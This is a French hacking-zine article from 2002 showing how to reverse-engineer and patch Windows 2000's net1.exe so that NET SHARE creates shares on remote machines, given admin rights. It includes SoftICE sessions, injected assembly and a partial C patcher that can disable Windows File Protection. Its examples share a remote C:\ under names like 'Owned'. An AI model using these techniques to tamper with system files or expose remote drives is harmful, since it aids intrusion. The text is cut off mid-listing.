01/12/2002. ############################################################################################### ############################################################################################### E0508B4DD4518B55E452E8E1FEFFFF83C40C8945DC50FF1534100001EB228B45EC8B088B09894DD05051E8310000008 Call dword ptr [01001384] or dword ptr [esp+2], FFFFFFFF push dword ptr [010244F4] jne 010056C0 ----------------------------------------------------------------------------------------------- *********************************************************************************************** 11000110101001011101010011010110001<< H.A.R.D-C.O.D.E >>011110111000110010101001011010101001010 *********************************************************************************************** ----------------------------------------------------------------------------------------------- lea eax, dword ptr [ebp+FFFFFDD8] cmp word ptr [ebp+FFFFFDD8],eax push 01001DD0 je 0100728B nop 57014E6F74696679426F6F74436F6E666967537461747573000041445641504933322E646C6C00002D014765744C617 ############################################################################################### Issue N° 1. ############################################################################################### Reverse & patch the NET SHARE Command for ENABLE REMOTE SHARING on win2k server FR. -- By ThreaT. ############################################################################################### Contact : ThreaT@Ifrance.com ############################################################################################### * Attached files : Net1patch.exe (156 Ko) & whl.dll (204 ko) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -> call dword ptr [INTRODUCTION] <- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Bonjour, et bienvenue dans ce tout premier numero de HARDCODE ! Depuis pas mal de temp déjà, je cogite sur une idée un peu farfelue, qui consisterait à patcher tout et n'importe quoi sous win32, puis d'exposer la demarche sous forme d'articles techniques, destinés à égailler les esprits schizophréniques des hommes les plus tordus de la toile. Aujourd'hui, l'idée se concretise dans notre realité virtuelle, pour donner naissance à un premier jet, qui je l'espere, ne vous laissera pas sur votre soif de connaissance. Je vais donc ecourter cette introduction pour vous laisser des a present entre les mains de la technique pure ! let's go... =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -> char buffer[]="DESCRIPTION DU PROJET HARDCODE 1"; <- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Le projet va porter sur la commande NET SHARE en environnement NT5 (win2k) FR. Cette commande permet de creer des partages réseaux locaux, sur un serveur NT. - C:\>net help share La syntaxe de cette commande est : NET SHARE nom de partage nom de partage=lecteur:chemin [/USERS:nombre | /UNLIMITED] [/REMARK:"texte"] [/CACHE:Manual | Automatic | No ] nom de partage [/USERS:nombre | /UNLIMITED] [/REMARK:"texte"] [/CACHE:Manual | Automatic | No ] {nom de partage | nom de périphérique | lecteur:chemin} /DELETE NET SHARE partage des ressources d'un serveur, afin de les mettre à la disposition des utilisateurs du réseau. Employée sans argument, NET SHARE affiche des informations sur toutes les ressources partagées du serveur : elle fournit le(s) nom(s) de périphérique ou de chemin et le commentaire associé à chaque ressource. nom de partage Est le nom réseau de la ressource partagée. La commande NET SHARE nom de partage affiche des informations sur la ressource partagée spécifiée. lecteur:chemin Spécifie le chemin absolu du répertoire à partager. /USERS:nombre Fixe le nombre maximal d'utilisateurs pouvant accéder simultanément à la ressource partagée. /UNLIMITED Spécifie que le nombre d'utilisateurs pouvant accéder simultanément à la ressource partagée n'est pas limité. /REMARK:"texte" Ajoute un commentaire descriptif sur la ressource. Placez le texte du commentaire entre guillemets anglo-saxons ("). nom de périphérique Représente une ou plusieurs imprimantes (de LPT1: à LPT9:) partagées sous le nom de partage que vous spécifiez. /DELETE Met fin au partage de la ressource. /CACHE:Automatic Active la mise en cache du client hors connexion avec réintégration automatique /CACHE:Manual Active la mise en cache du client hors connexion avec réintégration manuelle /CACHE:No Informe le client que la mise en cache hors connexion n'est pas conseillée - Le problème réside dans le fait que si je desire partager les ressources d'une machine A depuis une machine B, la commande net share ne m'offre pas d'autre alternative que de trouver (ou creer) un autre outil pour executer cette tache. Le but du jeu est donc de creer un PATCH pour la commande NET SHARE, afin que celle ci puisse aussi bien creer un partage sur la machine local, que sur une machine distante, sous reserve que nous possedions pour la machine distante un acces detenant les privileges d'administrateur. Le patch devra prendre en compte le fait que l'utilisateur final de la commande patchée, puisse indiquer en argument l'adresse ou le nom de la machine qui fera l'objet du partage de ressource. Facile à dire, donc, facile à faire !:-> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -> strcpy (hardcode,"REVERSE & ANALYSE") <- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Commencons notre investigation par une recherche dans le MSDN. Nous allons regarder si une API correspond a la fonction que nous ciblons, ce qui nous evitera de tracer pendant des heures l'executable a patcher. voici sur quoi on tombe : - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [ extrait tiré du MSDN ] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - The NetShareAdd function shares a server resource. Security Requirements Only members of the Administrators or Account Operators local group or those with Communication, Print, or Server operator group membership can successfully execute NetShareAdd. The Print operator can add only Printer queues. The Communication operator can add only communication-device queues. NET_API_STATUS NetShareAdd( LPWSTR servername, DWORD level, LPBYTE buf, LPDWORD parm_err ); Parameters ********** [servername] Pointer to a Unicode string containing the name of the remote server on which the function is to execute. A NULL pointer or string specifies the local computer. [level] Specifies one of the following values to set the level of information provided. Value Meaning 2 The buf parameter points to an array of SHARE_INFO_2 structures. 502 The buf parameter points to an array of SHARE_INFO_502 structures. [buf] Pointer to the buffer in which the data set with the level parameter is stored. [parm_err] Optional pointer to a DWORD that contains the index of the first parameter that causes ERROR_INVALID_PARAMETER. If NULL, the parameter is not returned on error. ...bla bla bla... QuickInfo Windows NT: Requires version 3.1 or later. Windows: Requires Windows 95 or later. Windows CE: Unsupported. Header: Declared in lmshare.h. Import Library: Use netapi32.lib (Windows NT) or svrapi.lib (Windows 95). - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - IMPECABLE ! Cette information va nous etre d'une tres grande utilité pour la suite des operations. plongeons nous maintenant dans les fonction exportees de l'executable NET.EXE, en portant tout particulierement notre attention sur les API de la lib netapi32. -------------------> List of imported Functions of NET.exe <------------------ NETAPI32.I_NetNameValidate NETAPI32.I_NetPathType NETAPI32.NetApiBufferAllocate NETAPI32.NetApiBufferFree NETAPI32.NetApiBufferReallocate NETAPI32.NetapipBufferAllocate NETAPI32.NetServerEnum NETAPI32.NetServerGetInfo NETAPI32.NetShareEnum NETAPI32.NetUseEnum NETAPI32.NetUseGetInfo NETAPI32.NetUserGetInfo NETAPI32.NetWkstaGetInfo NETAPI32.NetWkstaUserGetInfo -------------------------------------------------------------------------------- vous remarquez avec stupeur et desespoir que la fonction NetShareAdd n'est pas utilisee par net.exe mais ne vous laissez pas abattre ! l'API doit bien se trouver quelque part, regardons ensemble de quoi peut bien se composer la commande net.exe C:\>dir %systemroot%\system32\net*.exe Le volume dans le lecteur C n'a pas de nom. Le numéro de série du volume est 8830-2DD2 Répertoire de C:\WINNT\system32 16/12/1999 01:00 42 768 net.exe 16/12/1999 01:00 124 176 net1.exe <-- hum? 14/04/2001 06:32 119 056 NETDDE.EXE 16/12/1999 01:00 86 800 netsh.exe 16/12/1999 01:00 28 432 netstat.exe 5 fichier(s) 401 232 octets 0 Rép(s) 1 337 585 664 octets libres C:\> tiens, j'ai 2 commandes 'net' dans mon system32, regardons a quoi elles peuvent correspondre. C:\>net La syntaxe de cette commande est : NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP | HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION | SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ] C:\> ok, net.exe correpond bien a la commande que nous desirons patcher. jetons un oeil sur le deuxieme executable. C:\>net1 La syntaxe de cette commande est : NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP | HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION | SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ] C:\> Ho, miracle ! les deux executables ont l'air d'avoir la meme fonction, mais leurs tailles sont completement differentes. et si nous regardions dans les fonctions exportées de NET1.EXE, comme ca, par simple curiosité :) -------------------> List of imported Functions of NET1.exe <------------------ NETAPI32.NetServerEnum NETAPI32.NetServerGetInfo NETAPI32.NetServerSetInfo NETAPI32.NetServerTransportEnum NETAPI32.NetServiceControl NETAPI32.NetServiceEnum NETAPI32.NetServiceInstall NETAPI32.NetSessionDel NETAPI32.NetSessionEnum NETAPI32.NetSessionGetInfo NETAPI32.NetShareAdd <--- héhé, tu etait donc la petite coquine ;) NETAPI32.NetShareCheck NETAPI32.NetShareDel NETAPI32.NetShareDelSticky NETAPI32.NetShareEnum NETAPI32.NetShareGetInfo NETAPI32.NetShareSetInfo -------------------------------------------------------------------------------- Tres bien, jetons un oeil sur la portion de code faisant referance a cette API * Reference To: NETAPI32.NetShareAdd, Ord:00CDh :0101321F 6A00 push 00000000 :01013221 FF742410 push [esp+10] :01013225 6A02 push 00000002 :01013227 FF742410 push [esp+10] :0101322B E8B8200000 Call 010152E8 Analysons tout cela un peut plus en profondeur... Dans l'extrait du MSDN, nous avons decouvert que l'API NetShareAdd fonctionnait de la façon suivante : NET_API_STATUS NetShareAdd( LPWSTR servername, DWORD level, LPBYTE buf, LPDWORD parm_err ); ce qui correspond respectivement a : push 00000000 <- LPDWORD parm_err push [esp+10] <- LPBYTE buf push 00000002 <- DWORD level push [esp+10] <- LPWSTR servername Call 010152E8 Poussons notre investigation en observant la contenance des pointeurs places en ESP+10 - Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\>net start ntice Le service NTice a démarré. C:\> CTRL+D ==================================[console softice]==================================== :bpx GetStdHandle <- tout d'abord, on Break point sur GetStdHandle, pour avoir acces :x ; a la VM du module NET1.EXE ======================================================================================= C:\>net share TesT=c:\ <- on lance la commande NET SHARE avec une creation de partage ==================================[console softice]==================================== Break due to BPX KERNEL32!GetStdHandle (ET=6.80 seconds) <- dans le module CMD :x Break due to BPX KERNEL32!GetStdHandle (ET=11.98 milliseconds) <- dans le module NET :x Break due to BPX KERNEL32!GetStdHandle (ET=11.87 milliseconds) <- dans le module NET :x Break due to BPX KERNEL32!GetStdHandle (ET=272.01 microseconds) <- dans le module NET :x Break due to BPX KERNEL32!GetStdHandle (ET=12.65 milliseconds) <- dans le module NET1 :) :bpx 101321F <- un break point sur le premier push ESP+10 :bl 00) BPX KERNEL32!GetStdHandle 01) BPX #001B:01013221 :bd 0 <- on vire notre Break point sur GetStdHandle :x Break due to BPX #001B:01013221 (ET=11.98 milliseconds) <- bingo ! --------------------------------------------------------------------------------------- -------Etat des registres-------------------------------------------------------------- EAX=00000003 EBX=00000000 ECX=00000002 EDX=FFFFFFFF ESI=00077F40 EDI=0000FFFF EBP=0006FEF0 ESP=0006FE14 EIP=01013221 --------------------------------------------------------------------------------------- 001B:01013221 FF742410 push [esp+10] ;ca vous rappele rien sa :) 001B:01013225 6A02 push 00000002 001B:01013227 FF742410 push [esp+10] 001B:0101322B E8B8200000 Call 010152E8 001B:01013230 C21000 ret 0010 001B:01013233 FF74240C push [esp+0C] 001B:01013237 FF74240C push [esp+0C] 001B:0101323B FF74240C push [esp+0C] 001B:0101323F E8AA200000 Call 010152EE 001B:01013244 C20C00 ret 000C --------------------------------------------------------------------------------------- :dd esp+10 <- ok, on observe. --------------------------------------------------------------------------------------- 0023:0006FE24 00077F40 <- hum, esp+10 contient la valeur pointee par ESI --------------------------------------------------------------------------------------- :dd esi <- regardons ca de plus pres --------------------------------------------------------------------------------------- 0023:00077F40 0007648A <- ESP+10 ou ESI contienne un pointeur sur structure --------------------------------------------------------------------------------------- :dd 7648A <- regardons ce que la structure contient --------------------------------------------------------------------------------------- 0023:0007648A 00650054 00540073 00630000 005C003A T.e.s.T...c.:.\. <- W00W00 ! 0023:0007649A 00000000 00030000 01000000 24E00008 ...............$ --------------------------------------------------------------------------------------- :bpx 1013227 <- hop, break point sur le 2eme push ESP+10 (le plus interressant) :x Break due to BPX #001B:01013227 (ET=183.34 microseconds) <- yes ! --------------------------------------------------------------------------------------- :dd esp+10 <- Look at it. --------------------------------------------------------------------------------------- 0010:0006FE1C 00000000 <- NULL ! ah les radins --------------------------------------------------------------------------------------- ======================================================================================= OK, cette petite session de softice nous confirme plusieurs choses : Deja, Microsoft a initialise le parametre 'LPWSTR servername' a NULL, c'est donc a l'adresse 6FE1C du module net1.exe que nous devrons placer un pointeur vers un nom de machine ou une adresse IP la fonction travaille en WideChar, c'est a dire que les chaines de caractères contiennent un zero entre chaque lettre, et un double zero en terminaison, comme nous le montre la chaine 00650054 00540073 00630000 005C003A T.e.s.T...c.:.\. Ce qui veut dire que si nous desirons placer quelque part une chaine de caractere contenant le nom ou l'adresse IP de la machine cible, nous devrons faire attention a ce qu'elle soit bien formatee. Certain d'entre vous ne sont peut etre pas tres a l'aise avec l'ASM. Voici donc une pseudo correspondance en C, de facon a mieux visualiser dans vos esprits ce a quoi nous nous attaquons. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= La fonction 'NET SHARE', selon ThreaT (Ne pas tester ce code, il est la pour visualisation) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= #include #include #include #include [...] //definition des prototypes de fonction qui nous interressent // - char *ToWideChar(const char *ANSIstring); DWORD shareadd (char *netname, char *path, int max); // - void main (int argc, char *argv[]) { char *p, *q, *rem; int max; DWORD ret; //some code... //parser a la vite fait, pour dire de comprendre quelque chose... p = strtok (argv[2],"="); if (!p) help ("share"); //appelle d'une fonction bidon help q = strtok (NULL,"="); if (!q) help ("share"); rem = extraction (argv[3]); //une fonction bidon senser extraire la remarque ret = shareadd (p , q, rem, argv[4] ? atoi (argv[4][7]) : -1 ); // bon, ok, j'ai un peut simplifer le coup de la limitation d'utilisateur ;-) DemerdeToi (ret); //affiche ce qu'il veut en fonction du retour de fonction //some code... } /* La partie interressante de tout ca */ char *ToWideChar(const char *ANSIstring) // Convertit une chaine de caracteres en widechar { int nBufSize; WCHAR *wString; if(ANSIstring == NULL) return NULL; //retourne NULL si empty nBufSize = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, ANSIstring, -1, NULL, 0 ); wideString = (WCHAR *)malloc(nBufSize +1); MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, ANSIstring, -1, wString, nBufSize); return (char*)(wString); } /*********************** Notre fameuse fonction ! ************************/ DWORD shareadd (char *netname, char *path, char *rem, int max) { SHARE_INFO_2 info; //utilisation d'une structure info2 ! ref : push 00000002 NET_API_STATUS result; info.shi2_netname = ToWideChar (netname); info.shi2_type = 0; info.shi2_remark = ToWideChar (rem); info.shi2_permissions = ACCESS_ALL; info.shi2_max_uses = max; info.shi2_path = ToWideChar (path) info.shi2_passwd = NULL; result = NetShareAdd ( ToWideChar(""), // push [esp+10] 2, // push 00000002 (unsigned char *)&info, // push [esp+10] NULL); // push 00000000 GlobalFree (info.shi2_netname); GlobalFree (info.shi2_path); return result; } =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= EOF =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= maintenant que la chose est claire pour tout le monde, mettons nous au travail. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -> wsprintf (suite,"MISE EN OEUVRE DU PATCH"); <- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Voici comment nous allons proceder pour notre premier essai : Nous allons tout d'abbord appliquer un Break Point a l'adresse 1013227 du module NET1.EXE de facon a modifier le Dword 00000000 pointer par ESP+10. Le nouveau Dword sera une adresse memoire vers laquelle nous aurons prealablement formate une chaine de caractere en widechar, contenant notre adresse de loopback. (\\127.0.0.1) Si le partage est effectue avec succes, c'est que notre premier essai a reussi ! ok, let's do it... CTRL+D ==================================[console softice]==================================== :bpx GetStdHandle <- comme tout a l'heure, on essaie d'atteindre la VM de NET1.exe :x ======================================================================================= C:\>net share FistTest=c:\winnt <- on lance la commande NET SHARE ==================================[console softice]==================================== Break due to BPX KERNEL32!GetStdHandle (ET=6.80 seconds) <- dans le module CMD :x Break due to BPX KERNEL32!GetStdHandle (ET=11.98 milliseconds) <- dans le module NET :x Break due to BPX KERNEL32!GetStdHandle (ET=11.87 milliseconds) <- dans le module NET :x Break due to BPX KERNEL32!GetStdHandle (ET=272.01 microseconds) <- dans le module NET :x Break due to BPX KERNEL32!GetStdHandle (ET=12.65 milliseconds) <- dans le module NET1... :bpx 1013227 <- on applique le break point sur la cible :bd 0 <- on vire notre Break point sur GetStdHandle :x Break due to BPX #001B:01013227 (ET=23.95 milliseconds) <- on va enfin commencer a bosser :dd esi <- regardons ou se trouve le pointeur de structure SHARE_INFO_2 --------------------------------------------------------------------------------------- 0023:00077F58 00076492 <- ok --------------------------------------------------------------------------------------- :ed 76492 <- editons, pour y placer notre chaine de caractere --------------------------------------------------------------------------------------- 0010:00076492 00690046 00740073 00650054 00740073 F.i.s.t.T.e.s.t. 0010:000764A2 00630000 005C003A 00690077 006E006E ..c.:.\.w.i.n.n. 0010:000764B2 00000074 00030000 0100000A 24E00008 t..............$ [...] 0010:00076762 00000000 00000000 00000000 00000000 ................ 0010:00076772 00000000 00000000 00000000 00000000 ................ [...] --------------------------------------------------------------------------------------- /***************************************************************************** Tres bien, nous avons une belle plage memoire a l'adresse 76762, c'est ici que nous placerons nos données. ******************************************************************************/ --------------------------------------------------------------------------------------- :ed 76762 <- on l'edite, et on y place notre IP a la mano (sortez les tables ASCII !) --------------------------------------------------------------------------------------- 0010:00076762 005C005C 00320031 002E0037 002E0037 \.\.1.2.7...0... 0010:00076772 002E0030 002E0031 00000000 00000000 0...1........... --------------------------------------------------------------------------------------- :ed esp+10 <- plus qu'a renseigner ce bon vieux pointeur --------------------------------------------------------------------------------------- 0023:0006FE1C 00000000 <- l'original, que l'on remplace par 0023:0006FE1C 00076762 <- celui si :) --------------------------------------------------------------------------------------- :x <- On rebalance la sauce ! --------------------------------------------------------------------------------------- ======================================================================================= FistTest a été partagé. <- BINGO !! C:\>net share Nom partage Ressource Remarque ------------------------------------------------------------------------------- IPC$ IPC distant FistTest c:\winnt La commande s'est terminée correctement. C:\> Pour ceux qui n'auraient pas tout suivi, nous venons de realiser la chose suivante : result = NetShareAdd ( ToWideChar("\\127.0.0.1"), <- notre IP 2, (unsigned char *)&info, NULL); Notre premier essaie etant couronné de succes, essayons de pousser le bouchon un peut plus loin. Cette fois ci, je vais placer l'adresse IP d'une machine NT connectee sur mon réseau, directement dans les arguments de la commande net share. autant vous le dire tout de suite, les Antislashs, ainsi que les truc douteux tel que net share c=c:\ /test:\\10.0.0.1 ne nous seront d'aucune utilité. Ce qu'il nous faut, c'est trouver un moyen de placer le nom ou l'adresse de la machine directement dans la structure, (comme ca, c'est deja formater en WideChar). La solution que je propose est la suivante C:\>net share NomDePartage---10.0.0.1=c:\ ce qui devrais creer cette situation en memoire : N.o.m.D.e.P.a.r. t.a.g.e.-.-.-.1. 0...0...0...1... <-- Les trois dernier point correspondant au caractere de terminaison c.:.\... <-- pareil pour ici Le tour de passe passe pour notre 2eme essai consisterait alors a remplacer le premier tiret '-' par un 0, et les 2 suivants pas des antislashs '\', ce qui reviendrait a ceci : N.o.m.D.e.P.a.r. <-- NomDePartage t.a.g.e...\.\.1. 0...0...0...1... <-- \\10.0.0.1 c.:.\... <-- c:\ Si la chose est realisable, la conception du patch sera du gâteau ! Allez hop, on test tout ca... CTRL+D ==================================[console softice]==================================== :bpx GetStdHandle :x ======================================================================================= C:\>net share NomDePartage---10.0.0.1=c:\ <- je n'vous fais pas un dessin ==================================[console softice]==================================== Break due to BPX KERNEL32!GetStdHandle (ET=6.80 seconds) :x Break due to BPX KERNEL32!GetStdHandle (ET=11.98 milliseconds) :x Break due to BPX KERNEL32!GetStdHandle (ET=11.87 milliseconds) :x Break due to BPX KERNEL32!GetStdHandle (ET=272.01 microseconds) :x Break due to BPX KERNEL32!GetStdHandle (ET=12.65 milliseconds) :bpx 1013227 :bd 0 :x Break due to BPX #001B:01013227 (ET=23.95 milliseconds) <- jusque la, vous connaissez :dd esi --------------------------------------------------------------------------------------- 0010:00077F78 0007649A --------------------------------------------------------------------------------------- :dd 7649a <- on regarde ce que contient la structure --------------------------------------------------------------------------------------- 0010:0007649A 006F004E 0044006D 00500065 00720061 N.o.m.D.e.P.a.r. ;héhé, comme je 0010:000764AA 00610074 00650067 002D002D 0031002D t.a.g.e.-.-.-.1. ;l'avais prevue ;) 0010:000764BA 002C0030 002E0030 002E0030 00000031 0...0...0...1... 0010:000764CA 003A0063 0000005C 00000000 00030000 c.:.\........... --------------------------------------------------------------------------------------- :ed <- Apportons notre modification :) --------------------------------------------------------------------------------------- 0010:0007649A 006F004E 0044006D 00500065 00720061 N.o.m.D.e.P.a.r. 0010:000764AA 00610074 00650067 0000005C 0031005C t.a.g.e...\.\.1. <- deux '\' + un zero 0010:000764BA 002C0030 002E0030 002E0030 00000031 0...0...0...1... 0010:000764CA 003A0063 0000005C 00000000 00030000 c.:.\........... --------------------------------------------------------------------------------------- :ed esp+10 <- plus qu'a renseigner le pointeur --------------------------------------------------------------------------------------- 0023:0006FE1C 00000000 <- l'original 0023:0006FE1C 000764B4 <- le nouveau --------------------------------------------------------------------------------------- :x ======================================================================================= NomDePartage a été partagé. <- BINGO !! C:\>net share Nom partage Ressource Remarque ------------------------------------------------------------------------------- IPC$ IPC distant La commande s'est terminée correctement. C:\> Comme vous pouvez le constater, NomDePartage à été applique non pas sur la machine locale, mais sur \\10.0.0.1 ! Nous avons donc ici un bel algo pour notre PATCH. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -> printf ("THE HARD CODED FUNCTION"); <- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Il est temp de coder en dur la fonction qui permettra aussi bien d'effectuer des partages locaux, que des partages distants dans le module NET1.EXE. Nous allons donc proceder dans cet ordre : - Trouver un endroit dans l'executable suceptible d'acceuillir la fonction que nous allons ecrire en dur. - Determiner a quel endroit detourner le flot d'execution vers cette nouvelle fonction. - Creer la fonction directement en Virtual Memory, de facon a pouvoir la tester. - Creer un patcheur en C. - Tester le patcheur. - Deguster un petit jack daniel's pour se feliciter d'avoir bien bosse :op. au boulot ! Donc, pour commencer, cherchons un endroit dans l'executable ou nous pouvons placer quelques octets, sans pour autant créer un gros crash dump :) personnelement, je place toujours mon code dans des dups, c'est propre, imperceptible a l'oeil nu, et ca ne pause pas de probleme particulier. voyons ce que nous offre NET1.EXE dans ce domaine ------------------------------------------------------- :0101A7A9 00000000000000000000 BYTE 10 DUP(0) :0101A7B3 00000000000000000000 BYTE 10 DUP(0) :0101A7BD 00000000000000000000 BYTE 10 DUP(0) :0101A7C7 00000000000000000000 BYTE 10 DUP(0) :0101A7D1 00000000000000000000 BYTE 10 DUP(0) :0101A7DB 00000000000000000000 BYTE 10 DUP(0) :0101A7E5 00000000000000000000 BYTE 10 DUP(0) :0101A7EF 00000000000000000000 BYTE 10 DUP(0) :0101A7F9 00000000000000000000 BYTE 10 DUP(0) ------------------------------------------------------- niquel, nous avons a peu pres 90 octets de manoeuvre. Nous dirons donc que l'adresse a laquelle commancera notre premiere instruction sera 101A7B0. Bon, maintenant regardons comment proceder pour detourner le flot d'execution vers notre chere petite adresse. ------------------------------------------------------- * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:01013217(C) | :0101321F 6A00 push 00000000 :01013221 FF742410 push [esp+10] :01013225 6A02 push 00000002 :01013227 FF742410 push [esp+10] * Reference To: NETAPI32.NetShareAdd, Ord:00CDh | :0101322B E8B8200000 Call 010152E8 ------------------------------------------------------- On voit que les instructions et prennent 6 octets. sachant que notre call 101A7B0 va prendre 5 octets, il faudra bien penser a placer un 2 sur la pile avant notre retour de fonction. Le detournement du flot d'execution donne donc ceci ------------------------------------------------------- * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:01013217(C) | :0101321F 6A00 push 00000000 :01013221 FF742410 push [esp+10] :01013225 E886750000 call 0101A7B0 <- Patched :0101322A 90 nop <- ca, c'est pour coller avec la suite * Reference To: NETAPI32.NetShareAdd, Ord:00CDh | :0101322B E8B8200000 Call 010152E8 ------------------------------------------------------- Tres bien ! maintenant, attaquons la fonction qui reproduira notre 2eme intervention en memoire. laissez moi vous rappeller la demarche que nous devons suivre : 1 - Scanner la chaine de caracteres indiquee en argument 2 - Si la chaine contient trois traits "---", remplacer le premier par un zero et les deux suivants par des antislashs, ce qui donne " \\" 3 - Optenir le pointeur sur l'IP 4 - Modifier le parametre 'LPWSTR servername' de l'API NEtShareAdd en lui assignant le pointeur sur l'IP 5 - Ne pas oublier de pusher un 2 sur la pile avant le retour de fonction 6 - Retour au programme initial. Nous allons ecrire cette fonction directement en VM grace a la commande 'A'ssemble de SoftIce :) voici a quoi sa ressemble : =============================================================================================== HIJACKED CODE, Hard coded in Virtual Memory, By ThreaT. =============================================================================================== :a 101A7B0 0101A7B0 5B pop ebx ;sauvegarde l'adresse de retour dans EBX 0101A7B1 8B16 mov edx, dword ptr [esi] ;attribue a edx le pointeur de structure // boucle 0101A7B3 42 inc edx ;incrementation du pointeur 0101A7B4 66833A00 cmp word ptr [edx], 0000 ;compare si on est pas en fin de chaine 0101A7B8 7421 je 0101A7DB ;si oui, fin de la fonction 0101A7BA 803A2D cmp byte ptr [edx], 2D ;si non, compare l'octet avec le caractere '-' 0101A7BD 75F4 jne 0101A7B3 ;si pas egal, boucle 0101A7BF 817A022D002D00 cmp dword ptr [edx+02], 002D002D ;si egal, regarde si '-' est suivi de '--' 0101A7C6 75EB jne 0101A7B3 ;si non, boucle //modifie LPWSTR servername 0101A7C8 66C7020000 mov word ptr [edx], 0000 ;si oui, place sur le 1er '-' un double zero 0101A7CD C742025C005C00 mov [edx+02], 005C005C ;puis place sur les 2 autres tirets '\\' 0101A7D4 83C202 add edx, 00000002 ;ajoute 2 a edx, pour obtenir le pointeur sur l'IP 0101A7D7 8954240C mov dword ptr [esp+0C], edx ;initialise 'LPWSTR servername' avec ce pointeur // fin de fonction 0101A7DB BAFFFFFFFF mov edx, FFFFFFFF ;remet edx a l'etat initial 0101A7E0 6A02 push 00000002 ;push le 2 que l'on a patche 0101A7E2 FF742410 push [esp+10] ;push le esp+10 que l'on a patche aussi 0101A7E6 53 push ebx ;place l'adresse de retour sur la pile 0101A7E7 33DB xor ebx, ebx ;remet ebx a 0 0101A7E9 C3 ret ;retour au programme =============================================================================================== =============================================================================================== Et voila le travail! plus qu'a ecrire un patcheur en C/C++ (ou tout autre language a votre convenance) et c'est dans la poche. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- NET1PATCH.C -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- /****************************************************************************************** -> PATCH, permettant d'utiliser la commande NET SHARE de façon a créer un partage de ressource A DISTANCE sur une machine NT/2k, sous reserve de posseder un acces admin. -/-/-/-/-/-/-/-/-/- Coded by ThreaT. -/-/-/-/-/-/-/-/-/- - Pour patcher votre binaire (sous win2k FR seulement) -------------------------- Usage : net1patch.exe [/hard | /soft] /hard : Desactive la WFP et patch directement votre binaire NET1.EXE (For network warriorzzz) /soft : cree un binaire NET2.EXE qui est la version patchee de net1.exe (Parano inside) - Utilisation de la nouvelle commande ----------------------------------- C:\>net(2) share NomDePartage---NomDeMachine=c:\path\to\share exemple : pour partager le C:\ de la machine 192.168.10.1 en lui donnant le nom de ressource Owned, la commande est la suivante : C:\>net(2) share Owned---192.168.10.1=c:\ Owned a été partagé. Have fun :) ps: le petit (2) signifie qu'il faut utiliser la commande 'net2 share' si vous avez patcher votre binaire en mode /soft - Note pour compilation --------------------- la Windows Hook Library est downloadable sur www.chapeaux-noirs.org - Les fautes d'orthographes livrées avec ce code source sont certifiées conforme a l'original, et assure que le binaire fournit avec le magazine HARDCODE1 à bien été compiler par l'auteur, dans le respet de ses traditions originelles. ******************************************************************************************/ #include #include #include "whl.h" //Windows Hook Library #define CallOffset 0x12825 #define CodeOffset 0x19db0 #define ADDRESS 0x76934110 HANDLE Console; CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo; void term (void) {SetConsoleTextAttribute (Console,ConsoleInfo.wAttributes);} void patch (char *file); int sfcpatch (BOOL mode); void verbose (char *com) { SetConsoleTextAttribute(Console,FOREGROUND_BLUE|FOREGROUND_INTENSITY); printf ("pour creer un partage a distance, utilisez maintenant la commande suivante :\n" "-> %s share nomdepartage---192.168.0.1=c:\\path\\to\\share\n\n" "%s share : version patché de net1.exe avec l'argument SHARE\n" "nomdepartage : le nom a affecter au partage distant\n" "---192.168.0.1 : defini l'adresse IP du systeme sur lequel proceder\n" "c:\\path\\to\\share : le chemin de la ressource distante a partager\n\n" "Exemple : pour partager le C:\\ de la machine 10.0.0.1 en lui affectant le\n" "nom de partage 'SharedByThreaT', la commande est la suivante : \n\n" "C:\\> %s share SharedByThreaT---10.0.0.1=c:\\\n\n" "Happy Sharing with HARDCODE 